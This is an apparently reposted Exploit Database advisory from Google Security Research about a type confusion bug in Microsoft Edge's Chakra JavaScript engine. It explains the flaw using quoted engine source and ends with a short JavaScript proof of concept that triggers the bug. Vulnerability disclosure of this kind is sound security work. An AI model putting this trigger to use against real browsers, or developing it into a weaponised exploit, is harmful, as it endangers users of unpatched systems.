Microsoft Edge Chakra – ‘PathTypeHandlerBase::SetAttributesHelper’ Type Confusion

• Exploit Database
• 15 阅读

• 作者： Google Security Research
  日期： 2018-09-18
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/45431/

• /*
  Here's a snippet of PathTypeHandlerBase::SetAttributesHelper.
  
  PathTypeHandlerBase *predTypeHandler = this;
  DynamicType *currentType = instance->GetDynamicType();
  while (predTypeHandler->GetPathLength() > propertyIndex)
  {
  currentType = predTypeHandler->GetPredecessorType();
  if (currentType == nullptr)
  {
  #ifdef PROFILE_TYPES
  instance->GetScriptContext()->convertPathToDictionaryNoRootCount++;
  #endif
  // This can happen if object header inlining is deoptimized, and we haven't built a full path from the root.
  // For now, just punt this case.
  return TryConvertToSimpleDictionaryType(instance, GetPathLength())->SetAttributes(instance, propertyId, ObjectSlotAttributesToPropertyAttributes(propertyAttributes));
  }
  predTypeHandler = PathTypeHandlerBase::FromTypeHandler(currentType->GetTypeHandler());
  }
  
  When object header inlining is deoptimized, the type handler of the object is converted to a dictionary type handler. The problem is that it doesn't consider some attributes that dictionary type handlers don't have, so adding or removing those attributes can fail. ObjectSlotAttr_Accessor which indicates that the property is an accessor is one of them.
  
  Here's a snippet of PathTypeHandlerBase::SetPropertyInternal.
  
  else if (isInit)
  {
  ObjectSlotAttributes * attributes = this->GetAttributeArray();
  if (attributes && (attributes[index] & ObjectSlotAttr_Accessor))
  {
  this->SetAttributesHelper(instance, propertyId, index, attributes, (ObjectSlotAttributes)(attributes[index] & ~ObjectSlotAttr_Accessor), true);
  // We're changing an accessor into a data property at object init time. Don't cache this transition from setter to non-setter,
  // as it behaves differently from a normal set property.
  PropertyValueInfo::SetNoCache(info, instance);
  newTypeHandler = PathTypeHandlerBase::FromTypeHandler(instance->GetDynamicType()->GetTypeHandler());
  newTypeHandler->SetSlotUnchecked(instance, index, value);
  return true;
  }
  }
  
  We can use the bug to make removing ObjectSlotAttr_Accessor fail. As a result, a data value can be used as an accessor.
  
  PoC:
  */
  
  let o = {
  get a() {},
  0: 0,// Deoptimizing object header inlining
  a: 0x1234
  };
  
  o.a;// Type confusion